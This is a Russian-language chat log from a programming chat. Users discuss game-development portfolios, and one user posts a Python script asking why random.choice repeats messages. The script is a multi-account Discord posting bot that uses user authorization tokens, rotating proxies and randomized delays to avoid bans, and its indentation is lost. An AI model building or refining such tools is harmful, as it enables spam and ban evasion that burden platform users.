OleH
Чтобы набить портфолио тф можешь все классические игры сделать.
Чтобы наслаждаться работой ты должен поймать что-то своё.
Геймдев слишком затратная по умениям. И музыку надо и картинку и сюжет ещё... я про полноценную игру смысле. Конечно можно найти людей, но тогда ты ещё и в начальника и режисера превратишся
OleH
Вот лично у меня просто интерес к играм, как они устроены, чем разрабы пользуются плюс попытка создать что-то своё
Skipper
я написал бота по отправке сообщений, организовал многопоточность, сообщения для отправки берутся рандомно из одного файла. в итоге получается так, что слова повторяются, хотя вероятность 1 на 8 миллионов.... использовал метод random.choice(words)
Skipper
import requests
import time
import threading
import random
import json
from datetime import timedelta
import datetime
from colorama import init
from colorama import Fore, Back, Style
init()
print('How long in hours?')
timer = int(input())
print('Enter channels? (with comma)')
channels = str(input()).split()
print('Enter authorization tokens (with comma):')
tokens = str(input()).split()
with open('unique.txt', 'r', encoding='UTF-8') as f:
words = list(map(lambda x: x[:-1], f.readlines()))
with open('proxy.txt', 'r', encoding='UTF-8') as f:
proxy = list(map(lambda x: x[:-1], f.readlines()))
def main(proxy, words, token, channel):
word = random.choice(words)
proxy = random.choice(proxy)
# edit proxy
a, b = 0, 0
while a < len(proxy):
if proxy[a] == ':':
b += 1
if b == 2:
c = str(proxy[a + 1:len(proxy)] + '@' + proxy[0:a])
a += 1
proxy = {
"https": 'http://' + c,
"http": 'http://' + c,
}
# cycle
time_work = datetime.datetime.now() + timedelta(hours=timer)
while time_work > datetime.datetime.now():
count = 0
while count < 3:
time_send=datetime.datetime.now() + timedelta(hours=random.randint(2, 3))
while time_send > datetime.datetime.now():
time.sleep(random.randint(2 * 60, 6 * 60))
try:
a = requests.post(f'https://discord.com/api/v9/channels/{channel}/messages',
headers={'authorization': token},
data={'content': word},
proxies=proxy)
print(a.status_code, 'massage: ' + word)
except:
print('ERROR / BAN')
time.sleep(random.randint(1 * 3600, 2 * 3600))
count += 1
time.sleep(random.randint(4 * 3600, 5 * 3600))
count_all = len(tokens)*len(channels)
count = 0
for token in tokens:
for channel in channels:
time.sleep(random.randint(1, 20))
count += 1
print(Fore.GREEN, f'SUCCESS START {count}/{count_all}')
threading.Thread(target=main, args=(proxy, words, token, channel,)).start()